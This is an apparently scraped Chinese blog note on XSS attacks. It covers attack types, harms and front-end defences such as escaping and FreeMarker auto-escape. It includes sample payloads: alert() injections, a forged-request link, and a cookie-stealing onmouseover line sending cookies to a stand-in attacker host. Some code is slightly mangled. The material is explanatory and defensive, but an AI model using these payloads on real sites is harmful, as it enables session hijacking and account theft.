實習的時候在項目中有接觸過關於xss攻擊的內容,而且使用了項目組中推薦的一些經常使用的防xss攻擊的方法對項目進行了防攻擊的完善。但一直沒有時間深刻了解這東西,在此,作一個簡單的梳理。javascript
xss跨站腳本攻擊(Cross Site Scripting),是一種常常出如今web應用中的計算機安全漏洞,它指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入的惡意html代碼會被執行,從而達到惡意用戶的特殊目的。
XSS屬於被動式的攻擊,由於其被動且很差利用,因此許多人常忽略其危害性。可是隨着前端技術的不斷進步,這方面的問題愈來愈受關注。舉個簡單例子 : 假如你如今是sns站點上一個用戶,發佈信息的功能存在漏洞能夠執行js 你在 此刻輸入一個 惡意腳本,alert(),那麼當前全部看到你新信息的人的瀏覽器都會執行這個腳本彈出提示框。固然,這只是小兒科了,若是搞個更爲激烈的,後果將很嚴重。
這個攻擊過程看到有人總結了一個比較直觀的圖,供理解。
php
XSS攻擊的危害包括:html
盜取各種用戶賬號,如機器登陸賬號、用戶網銀賬號、各種管理員賬號前端
控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力java
盜竊企業重要的具備商業價值的資料web
非法轉帳瀏覽器
強制發送電子郵件安全
網站掛馬服務器
控制受害者機器向其它網站發起攻擊
舉例:cookie
<body background=」javascript:alert(‘xss webjiaocheng!’)」> <iframe src=javascript:alert(‘xss webjiaocheng!’)」> <body onload=」a();」><script>function a(){alert(‘xss webjiaocheng!’)」></script></body>
從其它站點到應用站點的攻擊:故名思義,這種攻擊是由外部發起的,來自email或其它站點。這種攻擊在用戶點擊連接,下載圖片或者提交表單的時候,對應用網站進行了意想以外的操做。
一般用戶登陸後會獲得一個可用session,xss攻擊者能夠利用這個session,越過用戶驗證,進行一些不安全的操做,以下:
<a href = 「http:// www.2cto.com /addComment.php?subject = I am owned」 > Check it out! </a>
經過這個連接,只要用戶登陸了,就會發送一個subject,即便在其它網站上。
正因如此,通常的郵箱客戶端不會自動從不信任的網站上加載圖片(由於考慮到能夠經過img的src屬性向第三方站點發送GET請求);另外,能夠設置session的過時時間,讓session自動失效。
從應用站點到同站或其它站點的攻擊:這種攻擊,一般是攻擊者在應用站點上經過發表評論,或者其它方式嵌入代碼,當用戶加載頁面或者點擊連接就會產生一些意想以外的操做。
以下:
<a href=」#」 onmouseover = 「window.location ='http://reallybadguys.net/collectCookie.php?cookie =' + documentcookie.escape();」 > Check it out!</a>
當用戶滑過連接,就會將cookie信息發到攻擊者的服務器上。
看到有的資料上面是按照另一種方式進行概括的:
本地利用漏洞,這種漏洞存在於頁面中客戶端腳本自身。
其攻擊過程以下:
A給B發送一個惡意構造了Web的URL。B點擊並查看了這個URL。
惡意頁面中的JavaScript打開一個具備漏洞的HTML頁面並將其安裝在Bob電腦上。具備漏洞的HTML頁面包含了在B電腦本地域執行的JavaScript。
A的惡意腳本能夠在Bob的電腦上執行B所持有的權限下的命令。
反射式漏洞
這種漏洞和類型A有些相似,不一樣的是Web客戶端使用Server端腳本生成頁面爲用戶提供數據時,若是未經驗證的用戶數據被包含
在頁面中而未經HTML實體編碼,客戶端代碼便可以注入到動態頁面中。
做爲前端開發人員,咱們須要儘可能讓本身的代碼足夠強大和足夠完善,而且隨着開發經驗的增加,相信對於本身熟悉的技術領域的防xss攻擊,也會有更多和更深刻的理解,下面僅列舉幾個方面,之後能夠對這部份內容不斷進行擴充。
對於名字,描述之類的數據,須要格外注意其數據來源,在自測過程當中,多輸入xss異常數據。如:
></script><iframe/onload=alert(2)>
之類的xss腳本。方便發現潛在的漏洞。
在js中使用innerHTML方法修改dom的時候,要對數據進行轉義。
在使用一些模板語言的時候,以freemarker爲例,入口文件可用
<#escape x as x?html> ... </#escape>
指令包裹,這樣能夠保證該指令之間的模版數據在輸出數據時默認轉義。某些特定狀況下,不方便使用<#escape>指令的時候,能夠在輸出的地方進行轉義,如:${name?html},html方法既爲ftl的轉義指令。